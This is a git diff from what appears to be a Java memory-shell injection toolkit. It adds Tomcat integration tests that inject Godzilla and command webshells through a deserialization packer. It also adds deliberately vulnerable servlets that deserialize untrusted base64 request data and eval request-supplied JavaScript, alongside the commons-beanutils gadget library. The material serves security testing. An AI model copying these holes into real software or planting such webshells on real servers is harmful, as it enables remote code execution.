ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -55,8 +65,9 @@ public class Tomcat6ContainerTest { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); } -// @AfterAll -// static void tearDown() { -// log.info(container.getLogs()); -// } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index dd111c62..3f4af2d5 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -19,7 +20,11 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,11 +39,17 @@ public class Tomcat7ContainerTest{ static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -53,4 +64,10 @@ public class Tomcat7ContainerTest{ void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_7, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index a19dba26..60fcbbd4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -7,6 +7,7 @@ import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -19,7 +20,11 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -35,16 +40,22 @@ public class Tomcat8ContainerTest { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -59,4 +70,10 @@ public class Tomcat8ContainerTest { void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_8, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 6e5f5f46..b0a78089 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -5,7 +5,9 @@ import com.reajason.javaweb.config.Server; import com.reajason.javaweb.config.ShellTool; import com.reajason.javaweb.memsell.packer.Packer; import com.reajason.javaweb.memsell.tomcat.TomcatShell; +import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.AfterAll; import org.junit.jupiter.params.ParameterizedTest; import org.junit.jupiter.params.provider.Arguments; import org.junit.jupiter.params.provider.MethodSource; @@ -18,13 +20,18 @@ import java.util.stream.Stream; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; +import static org.hamcrest.MatcherAssert.assertThat; +import static org.hamcrest.Matchers.containsString; +import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** * @author ReaJason * @since 2024/12/4 */ +@Slf4j @Testcontainers public class Tomcat9ContainerTest{ public static final String imageName = "tomcat:9-jre9"; @@ -32,11 +39,17 @@ public class Tomcat9ContainerTest{ static Stream casesProvider() { return Stream.of( arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP) + arguments(imageName, TomcatShell.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), + arguments(imageName, TomcatShell.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) ); } @@ -51,4 +64,10 @@ public class Tomcat9ContainerTest{ void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V9, packer); } + + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } } diff --git a/settings.gradle b/settings.gradle index f8801b53..fe021f37 100644 --- a/settings.gradle +++ b/settings.gradle @@ -4,4 +4,6 @@ include 'generator' include 'vul-webapp' include 'vul-webapp-jakarta' include 'integration-test' -include 'boot' \ No newline at end of file +include 'boot' +include 'deserialize' + diff --git a/vul-webapp-jakarta/build.gradle b/vul-webapp-jakarta/build.gradle index 4988cc74..718c985e 100644 --- a/vul-webapp-jakarta/build.gradle +++ b/vul-webapp-jakarta/build.gradle @@ -15,5 +15,6 @@ java { dependencies { implementation 'commons-fileupload:commons-fileupload:1.5' + implementation 'commons-beanutils:commons-beanutils:1.9.3' providedCompile 'jakarta.servlet:jakarta.servlet-api:5.0.0' } \ No newline at end of file diff --git a/vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java b/vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java new file mode 100644 index 00000000..3f7b4c87 --- /dev/null +++ b/vul-webapp-jakarta/src/main/java/JavaReadObjServlet.java @@ -0,0 +1,41 @@ +import jakarta.servlet.ServletException; +import jakarta.servlet.http.HttpServlet; +import jakarta.servlet.http.HttpServletRequest; +import jakarta.servlet.http.HttpServletResponse; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.ObjectInputStream; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JavaReadObjServlet extends HttpServlet { + byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + try { + String data = req.getParameter("data"); + ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data)); + ObjectInputStream bis = new ObjectInputStream(inputStream); + bis.readObject(); + bis.close(); + } catch (Exception e) { + if (e.getMessage().contains("IllegalAccessException")) { + e.printStackTrace(); + } + } + } +} diff --git a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml index c77477ae..b691addb 100644 --- a/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp-jakarta/src/main/webapp/WEB-INF/web.xml @@ -29,6 +29,17 @@ /upload + + + java-deserialize + JavaReadObjServlet + + + java-deserialize + /java_deserialize + + + diff --git a/vul-webapp/build.gradle b/vul-webapp/build.gradle index b4e91f83..b0b7faa3 100644 --- a/vul-webapp/build.gradle +++ b/vul-webapp/build.gradle @@ -15,5 +15,6 @@ java { dependencies { implementation 'commons-fileupload:commons-fileupload:1.3.3' + implementation 'commons-beanutils:commons-beanutils:1.9.3' providedCompile "javax.servlet:servlet-api:2.5" } \ No newline at end of file diff --git a/vul-webapp/src/main/java/JavaReadObjServlet.java b/vul-webapp/src/main/java/JavaReadObjServlet.java new file mode 100644 index 00000000..03072106 --- /dev/null +++ b/vul-webapp/src/main/java/JavaReadObjServlet.java @@ -0,0 +1,38 @@ +import javax.servlet.ServletException; +import javax.servlet.http.HttpServlet; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.ObjectInputStream; + +/** + * @author ReaJason + * @since 2024/12/10 + */ +public class JavaReadObjServlet extends HttpServlet { + byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } + } + + @Override + protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { + try { + String data = req.getParameter("data"); + ByteArrayInputStream inputStream = new ByteArrayInputStream(decodeBase64(data)); + ObjectInputStream bis = new ObjectInputStream(inputStream); + bis.readObject(); + bis.close(); + } catch (Exception ignored) { + + } + } +} diff --git a/vul-webapp/src/main/java/ScriptEngineServlet.java b/vul-webapp/src/main/java/ScriptEngineServlet.java index 050d62ee..db748b1a 100644 --- a/vul-webapp/src/main/java/ScriptEngineServlet.java +++ b/vul-webapp/src/main/java/ScriptEngineServlet.java @@ -13,9 +13,9 @@ import java.io.IOException; public class ScriptEngineServlet extends HttpServlet { @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { - String js = req.getParameter("js"); + String data = req.getParameter("data"); try { - Object eval = new ScriptEngineManager().getEngineByName("js").eval(js); + Object eval = new ScriptEngineManager().getEngineByName("js").eval(data); resp.getWriter().println(eval.toString()); } catch (ScriptException e) { throw new RuntimeException(e); diff --git a/vul-webapp/src/main/webapp/WEB-INF/web.xml b/vul-webapp/src/main/webapp/WEB-INF/web.xml index de31e2da..25256518 100644 --- a/vul-webapp/src/main/webapp/WEB-INF/web.xml +++ b/vul-webapp/src/main/webapp/WEB-INF/web.xml @@ -35,6 +35,15 @@ /js + + + java-deserialize + JavaReadObjServlet + + + java-deserialize + /java_deserialize +